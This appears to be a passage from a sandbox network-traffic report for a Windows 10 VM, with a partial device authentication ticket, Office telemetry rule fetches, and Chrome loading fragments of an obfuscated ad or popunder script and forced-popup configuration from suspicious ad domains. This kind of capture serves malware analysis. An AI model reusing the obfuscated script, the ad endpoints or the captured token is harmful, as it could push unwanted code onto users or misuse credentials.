<connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-10-14 22:39:57 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 42 6e 43 47 2f 4c 4c 2f 36 45 6d 67 69 52 44 6e 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 37 36 65 31 66 37 61 64 65 37 61 39 30 33 61 39 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 66 72 79 68 67 75 52 68 53 36 49 68 71 69 33 79 55 45 39 75 69 58 79 63 5a 61 30 73 30 4e 49 61 41 4b 32 56 74 65 65 6c 51 43 4f 39 6c 36 61 32 54 52 64 4a 43 74 73 53 7a 74 77 77 74 63 4c 63 4f 59 50 4d 58 46 32 52 79 45 74 66 5a 47 74 2f 2f 4a 34 78 39 67 51 6a 30 30 79 71 38 49 74 39 30 6d 65 36 55 6a 78 6b 43 76 5a 6e 68 Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: BnCG/LL/6EmgiRDn.2Context: 76e1f7ade7a903a9<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAfryhguRhS6Ihqi3yUE9uiXycZa0s0NIaAK2VteelQCO9l6a2TRdJCtsSztwwtcLcOYPMXF2RyEtfZGt//J4x9gQj00yq8It90me6UjxkCvZnh
2024-10-14 22:39:57 UTC	74	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 51 4f 53 20 35 36 0d 0a 4d 53 2d 43 56 3a 20 42 6e 43 47 2f 4c 4c 2f 36 45 6d 67 69 52 44 6e 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 37 36 65 31 66 37 61 64 65 37 61 39 30 33 61 39 0d 0a 0d 0a Data Ascii: BND 3 CON\QOS 56MS-CV: BnCG/LL/6EmgiRDn.3Context: 76e1f7ade7a903a9
2024-10-14 22:39:57 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-10-14 22:39:57 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 30 4d 36 79 2f 57 64 61 30 6b 2b 52 65 45 31 72 36 5a 37 70 43 51 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: 0M6y/Wda0k+ReE1r6Z7pCQ.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
136	192.168.2.6	49917	139.45.197.242	443	432	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-14 22:39:57 UTC	534	OUT	GET /tag.min.js HTTP/1.1 Host: glakraptaidsupi.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://sqsq2938.blogspot.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-14 22:39:58 UTC	970	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 14 Oct 2024 22:39:58 GMT Content-Type: text/javascript; charset=utf-8 Content-Length: 71223 Connection: close X-Trace-Id: 228a6fe4231603f89302a45400e79504 Cache-Control: no-transform, no-store, no-cache, must-revalidate, max-age=0 Accept-Ranges: bytes Last-Modified: Mon, 14 Oct 2024 15:31:29 GMT Accept-Ch: Sec-CH-UA, Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: true Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Allow-Headers: Accept, Content-Type, Content-Length, Accept-Encoding, baggage, sentry-trace, favicon Access-Control-Max-Age: 86400 Pragma: no-cache Expires: Tue, 11 Jan 1994 10:00:00 GMT Timing-Allow-Origin: * Strict-Transport-Security: max-age=1 X-Content-Type-Options: nosniff Timing-Allow-Origin: *
2024-10-14 22:39:58 UTC	15414	IN	Data Raw: 28 66 75 6e 63 74 69 6f 6e 28 7a 2c 72 4b 2c 4b 4b 2c 6a 4b 29 7b 28 28 29 3d 3e 7b 76 61 72 20 49 3d 7a 2e 5a 72 28 29 2c 59 6e 3d 7a 2e 45 62 5b 7a 2e 59 62 5d 28 7a 2e 65 29 5b 7a 2e 51 6a 5d 28 29 5b 7a 2e 69 72 5d 28 7a 2e 65 29 3b 74 79 70 65 6f 66 20 72 4b 3c 7a 2e 78 26 26 28 49 5b 7a 2e 76 72 5d 3d 72 4b 2c 74 79 70 65 6f 66 20 72 4b 5b 7a 2e 51 72 5d 3c 7a 2e 78 26 26 28 49 5b 7a 2e 56 6a 5d 3d 72 4b 5b 7a 2e 51 72 5d 29 29 3b 74 79 70 65 6f 66 20 4b 4b 3c 7a 2e 78 26 26 28 49 5b 7a 2e 4f 72 5d 3d 4b 4b 2c 49 5b 7a 2e 77 4b 5d 3d 4b 4b 5b 59 6e 5d 29 3b 74 79 70 65 6f 66 20 6a 4b 3c 7a 2e 78 26 26 28 49 5b 7a 2e 53 72 5d 3d 6a 4b 29 3b 66 75 6e 63 74 69 6f 6e 20 6c 72 28 29 7b 76 61 72 20 74 3d 49 5b 7a 2e 4f 72 5d 3b 74 72 79 7b 49 5b 7a 2e 4a Data Ascii: (function(z,rK,KK,jK){(()=>{var I=z.Zr(),Yn=z.Eb[z.Yb](z.e)[z.Qj]()[z.ir](z.e);typeof rK<z.x&&(I[z.vr]=rK,typeof rK[z.Qr]<z.x&&(I[z.Vj]=rK[z.Qr]));typeof KK<z.x&&(I[z.Or]=KK,I[z.wK]=KK[Yn]);typeof jK<z.x&&(I[z.Sr]=jK);function lr(){var t=I[z.Or];try{I[z.J
2024-10-14 22:39:58 UTC	16384	IN	Data Raw: 7d 63 61 74 63 68 28 6c 29 7b 67 28 7a 2e 63 59 29 7d 72 65 74 75 72 6e 20 73 65 74 54 69 6d 65 6f 75 74 28 66 75 6e 63 74 69 6f 6e 28 29 7b 50 74 28 74 2c 65 2c 72 2c 6e 29 7d 2c 41 6f 29 7d 76 61 72 20 51 72 3d 7a 2e 5a 72 28 7a 2e 6d 72 2c 7a 2e 4c 2c 7a 2e 6f 72 2c 7a 2e 54 72 2c 7a 2e 50 72 2c 7a 2e 76 2c 7a 2e 66 72 2c 7a 2e 78 4b 29 2c 42 6f 3d 7a 2e 54 72 2a 7a 2e 72 4b 2a 7a 2e 47 2c 7a 6f 3d 7a 2e 44 3b 66 75 6e 63 74 69 6f 6e 20 58 72 28 29 7b 76 61 72 20 74 3d 7a 2e 5a 72 28 29 3b 72 65 74 75 72 6e 20 45 72 72 6f 72 5b 7a 2e 57 4d 5d 28 74 2c 58 72 29 2c 74 5b 7a 2e 6f 6a 5d 7d 66 75 6e 63 74 69 6f 6e 20 24 6f 28 74 29 7b 66 6f 72 28 76 61 72 20 65 3d 7a 2e 54 6a 2c 72 3d 74 5b 7a 2e 52 72 5d 3b 72 3b 29 65 3d 65 2a 7a 2e 63 4d 5e 74 5b 7a 2e Data Ascii: }catch(l){g(z.cY)}return setTimeout(function(){Pt(t,e,r,n)},Ao)}var Qr=z.Zr(z.mr,z.L,z.or,z.Tr,z.Pr,z.v,z.fr,z.xK),Bo=z.Trz.rKz.G,zo=z.D;function Xr(){var t=z.Zr();return Error[z.WM](t,Xr),t[z.oj]}function $o(t){for(var e=z.Tj,r=t[z.Rr];r;)e=e*z.cM^t[z.
2024-10-14 22:39:58 UTC	16384	IN	Data Raw: 7a 2e 6c 7d 2c 58 6f 3d 28 29 3d 3e 28 28 21 69 5b 7a 2e 76 72 5d 5b 7a 2e 67 6b 5d 7c 7c 69 5b 7a 2e 76 72 5d 5b 7a 2e 67 6b 5d 5b 7a 2e 43 6b 5d 28 7a 2e 6c 2c 7a 2e 54 72 29 21 3d 3d 7a 2e 48 45 29 26 26 28 69 5b 7a 2e 76 72 5d 5b 7a 2e 67 6b 5d 3d 7a 2e 48 45 5b 7a 2e 57 4b 5d 28 4d 61 74 68 5b 7a 2e 4e 4d 5d 28 29 5b 7a 2e 58 4d 5d 28 7a 2e 6e 45 29 5b 7a 2e 43 6b 5d 28 7a 2e 54 72 29 29 29 2c 69 5b 7a 2e 76 72 5d 5b 7a 2e 67 6b 5d 29 2c 77 6e 3d 74 3d 3e 7a 2e 65 5b 7a 2e 57 4b 5d 28 74 2c 7a 2e 4f 4b 29 5b 7a 2e 57 4b 5d 28 58 6f 28 29 29 2c 74 65 3d 74 3d 3e 48 74 3f 69 5b 7a 2e 76 72 5d 5b 7a 2e 67 72 5d 5b 77 6e 28 74 29 5d 3a 69 5b 7a 2e 76 72 5d 5b 7a 2e 77 72 5d 5b 74 5d 2c 72 65 3d 28 74 2c 65 29 3d 3e 7b 48 74 3f 69 5b 7a 2e 76 72 5d 5b 7a Data Ascii: z.l},Xo=()=>((!i[z.vr][z.gk]\|\|i[z.vr][z.gk][z.Ck](z.l,z.Tr)!==z.HE)&&(i[z.vr][z.gk]=z.HE[z.WK](Math[z.NM]()[z.XM](z.nE)[z.Ck](z.Tr))),i[z.vr][z.gk]),wn=t=>z.e[z.WK](t,z.OK)[z.WK](Xo()),te=t=>Ht?i[z.vr][z.gr][wn(t)]:i[z.vr][z.wr][t],re=(t,e)=>{Ht?i[z.vr][z
2024-10-14 22:39:58 UTC	16384	IN	Data Raw: 65 29 5b 7a 2e 65 72 5d 28 45 3d 3d 7a 2e 73 3f 76 6f 69 64 20 7a 2e 6c 3a 45 5b 7a 2e 72 6a 5d 29 26 26 28 45 3d 3d 7a 2e 73 3f 76 6f 69 64 20 7a 2e 6c 3a 45 5b 7a 2e 42 6b 5d 5b 7a 2e 51 6b 5d 29 3d 3d 3d 76 6f 69 64 20 7a 2e 6c 2c 6a 2c 70 74 2c 57 65 2c 6f 72 3b 7a 2e 65 21 3d 3d 7a 2e 65 26 26 28 61 72 3d 50 65 28 7a 2e 65 29 29 3b 69 5b 7a 2e 76 72 5d 5b 7a 2e 45 72 5d 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 6f 72 26 26 6f 72 28 74 29 7d 3b 66 75 6e 63 74 69 6f 6e 20 77 69 28 74 2c 65 29 7b 6c 65 74 20 6e 3d 6e 65 77 20 44 61 74 65 28 29 5b 7a 2e 7a 4b 5d 28 29 2c 6f 3d 21 7a 2e 4c 2c 61 3d 7a 2e 6c 2c 73 3d 7a 2e 65 3b 45 26 26 28 73 3d 61 65 28 45 5b 7a 2e 72 6a 5d 29 29 3b 6c 65 74 20 64 3d 63 3d 3e 7b 63 5b 7a 2e 57 6a 5d 26 26 4f 62 6a 65 63 74 Data Ascii: e)[z.er](E==z.s?void z.l:E[z.rj])&&(E==z.s?void z.l:E[z.Bk][z.Qk])===void z.l,j,pt,We,or;z.e!==z.e&&(ar=Pe(z.e));i[z.vr][z.Er]=function(t){or&&or(t)};function wi(t,e){let n=new Date()[z.zK](),o=!z.L,a=z.l,s=z.e;E&&(s=ae(E[z.rj]));let d=c=>{c[z.Wj]&&Object
2024-10-14 22:39:58 UTC	6657	IN	Data Raw: 3a 27 64 71 79 61 68 71 45 6f 64 75 62 66 4d 72 66 71 64 58 61 6d 70 20 27 2c 4c 43 3a 33 36 65 35 2c 4e 43 3a 27 6f 74 71 6f 77 45 71 65 65 75 61 7a 4f 67 65 66 61 79 57 71 6b 27 2c 46 43 3a 27 4e 4d 4f 57 4f 58 4f 57 27 2c 71 43 3a 27 4f 41 58 58 51 4f 46 5f 55 59 42 44 51 45 45 55 41 5a 5f 46 44 55 51 45 27 2c 52 43 3a 27 66 75 79 71 58 61 6d 70 71 70 27 2c 6d 43 3a 27 75 65 42 64 71 72 71 66 6f 74 75 7a 73 27 2c 6f 43 3a 27 75 65 55 79 62 64 71 65 65 75 61 7a 4f 61 78 78 71 6f 66 71 70 27 2c 54 43 3a 27 72 75 64 65 66 42 64 71 72 71 66 6f 74 45 66 6d 64 66 27 2c 50 43 3a 27 72 75 64 65 66 42 64 71 72 71 66 6f 74 50 61 7a 71 27 2c 66 43 3a 27 70 75 65 6d 6e 78 71 70 4e 6b 45 71 64 68 71 64 44 71 6d 65 61 7a 65 27 2c 78 47 3a 27 71 6d 64 78 6b 2d 6f 78 Data Ascii: :'dqyahqEodubfMrfqdXamp ',LC:36e5,NC:'otqowEqeeuazOgefayWqk',FC:'NMOWOXOW',qC:'OAXXQOF_UYBDQEEUAZ_FDUQE',RC:'fuyqXampqp',mC:'ueBdqrqfotuzs',oC:'ueUybdqeeuazOaxxqofqp',TC:'rudefBdqrqfotEfmdf',PC:'rudefBdqrqfotPazq',fC:'puemnxqpNkEqdhqdDqmeaze',xG:'qmdxk-ox

Session ID	Source IP	Source Port	Destination IP	Destination Port
137	192.168.2.6	49918	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-14 22:39:57 UTC	192	OUT	GET /rules/rule120645v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-14 22:39:58 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 14 Oct 2024 22:39:58 GMT Content-Type: text/xml Content-Length: 425 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BBA25094F" x-ms-request-id: 0fbb1da2-e01e-0085-1521-1cc311000000 x-ms-version: 2018-03-28 x-azure-ref: 20241014T223958Z-17db6f7c8cfqkqk8bn4ck6f72000000006q000000000mwmc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-14 22:39:58 UTC	425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 4d 6d 5d 5b 41 61 5d 5b 5a 7a 5d 5b 4f 6f 5d 5b 4e 6e 5d 20 5b 45 65 5d 5b 43 63 5d 32 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120645" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <SR T="2" R="([Aa][Mm][Aa][Zz][Oo][Nn] [Ee][Cc]2)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I=

Session ID	Source IP	Source Port	Destination IP	Destination Port
138	192.168.2.6	49919	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-14 22:39:58 UTC	192	OUT	GET /rules/rule120647v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-14 22:39:58 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 14 Oct 2024 22:39:58 GMT Content-Type: text/xml Content-Length: 448 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB389F49B" x-ms-request-id: 355a979e-401e-0064-3e4a-1c54af000000 x-ms-version: 2018-03-28 x-azure-ref: 20241014T223958Z-17db6f7c8cf9c22xp43k2gbqvn00000004qg000000006prh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-14 22:39:58 UTC	448	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 50 70 5d 5b 41 61 5d 5b 43 63 5d 5b 48 68 5d 5b 45 65 5d 20 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120647" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <SR T="2" R="([Aa][Pp][Aa][Cc][Hh][Ee] [Ss][Oo][Ff][Tt][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR>

Session ID	Source IP	Source Port	Destination IP	Destination Port
139	192.168.2.6	49920	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-14 22:39:58 UTC	192	OUT	GET /rules/rule120648v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-14 22:39:58 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 14 Oct 2024 22:39:58 GMT Content-Type: text/xml Content-Length: 491 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B98B88612" x-ms-request-id: 9ba87e07-d01e-008e-2ae9-1a387a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241014T223958Z-17db6f7c8cfgqlr45m385mnngs00000005m0000000009d0f x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-14 22:39:58 UTC	491	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120648" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
140	192.168.2.6	49921	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-14 22:39:58 UTC	192	OUT	GET /rules/rule120646v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-14 22:39:58 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 14 Oct 2024 22:39:58 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2BE84FD" x-ms-request-id: b2260943-f01e-0052-0b1c-1c9224000000 x-ms-version: 2018-03-28 x-azure-ref: 20241014T223958Z-17db6f7c8cf6f7vv3recfp4a6w000000044g000000006kwx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-14 22:39:58 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120646" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
141	192.168.2.6	49925	139.45.197.251	443	432	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-14 22:39:58 UTC	1261	OUT	GET /zone?pub=0&zone_id=8165884&is_mobile=false&domain=sqsq2938.blogspot.com&var=&ymid=&var_3=&tg=0&sw=3.1.562&drf=https%3A%2F%2Fwww.mycimalive.com%2F&ch=eyJhcmNoaXRlY3R1cmUiOiJ4ODYiLCJiaXRuZXNzIjoiNjQiLCJicmFuZHMiOlt7ImJyYW5kIjoiR29vZ2xlIENocm9tZSIsInZlcnNpb24iOiIxMTcifSx7ImJyYW5kIjoiTm90O0E9QnJhbmQiLCJ2ZXJzaW9uIjoiOCJ9LHsiYnJhbmQiOiJDaHJvbWl1bSIsInZlcnNpb24iOiIxMTcifV0sImZ1bGxWZXJzaW9uTGlzdCI6W3siYnJhbmQiOiJHb29nbGUgQ2hyb21lIiwidmVyc2lvbiI6IjExNy4wLjU5MzguMTM0In0seyJicmFuZCI6Ik5vdDtBPUJyYW5kIiwidmVyc2lvbiI6IjguMC4wLjAifSx7ImJyYW5kIjoiQ2hyb21pdW0iLCJ2ZXJzaW9uIjoiMTE3LjAuNTkzOC4xMzQifV0sIm1vYmlsZSI6ZmFsc2UsIm1vZGVsIjoiIiwicGxhdGZvcm0iOiJXaW5kb3dzIiwicGxhdGZvcm1WZXJzaW9uIjoiMTAuMC4wIiwid293NjQiOmZhbHNlfQ== HTTP/1.1 Host: phicmune.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://sqsq2938.blogspot.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://sqsq2938.blogspot.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-14 22:39:58 UTC	560	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 14 Oct 2024 22:39:58 GMT Content-Type: application/json; charset=utf-8 Content-Length: 678 Connection: close Accept-Ch: Sec-CH-UA, Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model Access-Control-Allow-Origin: https://sqsq2938.blogspot.com Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: Origin, X-Requested-With, X-Oaid, Content-Type, Accept Strict-Transport-Security: max-age=1 X-Content-Type-Options: nosniff
2024-10-14 22:39:58 UTC	678	IN	Data Raw: 7b 22 73 74 61 74 75 73 22 3a 74 72 75 65 2c 22 63 6f 64 65 22 3a 22 6a 73 54 61 67 50 61 72 61 6d 65 74 65 72 73 22 2c 22 75 6e 73 75 70 70 6f 72 74 65 64 22 3a 66 61 6c 73 65 2c 22 61 66 74 65 72 43 6c 6f 73 65 44 65 6c 61 79 22 3a 33 2c 22 61 6c 6c 6f 77 50 6f 70 75 70 49 66 48 74 74 70 73 44 65 6e 69 65 64 22 3a 74 72 75 65 2c 22 63 75 73 74 6f 6d 50 61 72 61 6d 73 47 65 6f 22 3a 22 75 73 22 2c 22 63 75 73 74 6f 6d 50 61 72 61 6d 73 49 70 22 3a 22 32 31 36 2e 35 32 2e 31 38 33 2e 31 35 30 22 2c 22 64 6f 6d 61 69 6e 22 3a 22 68 74 74 70 73 3a 2f 2f 6a 6f 75 74 65 65 74 75 2e 6e 65 74 22 2c 22 66 6f 72 63 65 50 6f 70 75 70 22 3a 74 72 75 65 2c 22 69 6e 6a 65 63 74 69 6f 6e 73 22 3a 6e 75 6c 6c 2c 22 69 6e 73 74 61 6c 6c 5f 63 74 78 22 3a 7b 22 63 6f 75 Data Ascii: {"status":true,"code":"jsTagParameters","unsupported":false,"afterCloseDelay":3,"allowPopupIfHttpsDenied":true,"customParamsGeo":"us","customParamsIp":"216.52.183.150","domain":"https://jouteetu.net","forcePopup":true,"injections":null,"install_ctx":{"cou

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
142	192.168.2.6	49926	139.45.197.251	443	432	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-14 22:39:58 UTC	617	OUT	GET /ntfc.php?p=8165884 HTTP/1.1 Host: phicmune.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://sqsq2938.blogspot.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 If-None-Match: "6706a6aa-356a" If-Modified-Since: Wed, 09 Oct 2024 15:52:10 GMT
2024-10-14 22:39:58 UTC	252	IN	HTTP/1.1 304 Not Modified Server: nginx Date: Mon, 14 Oct 2024 22:39:58 GMT Last-Modified: Wed, 09 Oct 2024 15:52:10 GMT Connection: close ETag: "6706a6aa-356a" Access-Control-Allow-Credentials: true Cache-Control: no-cache Pragma: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
143	192.168.2.6	49923	142.250.185.73	443	432	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
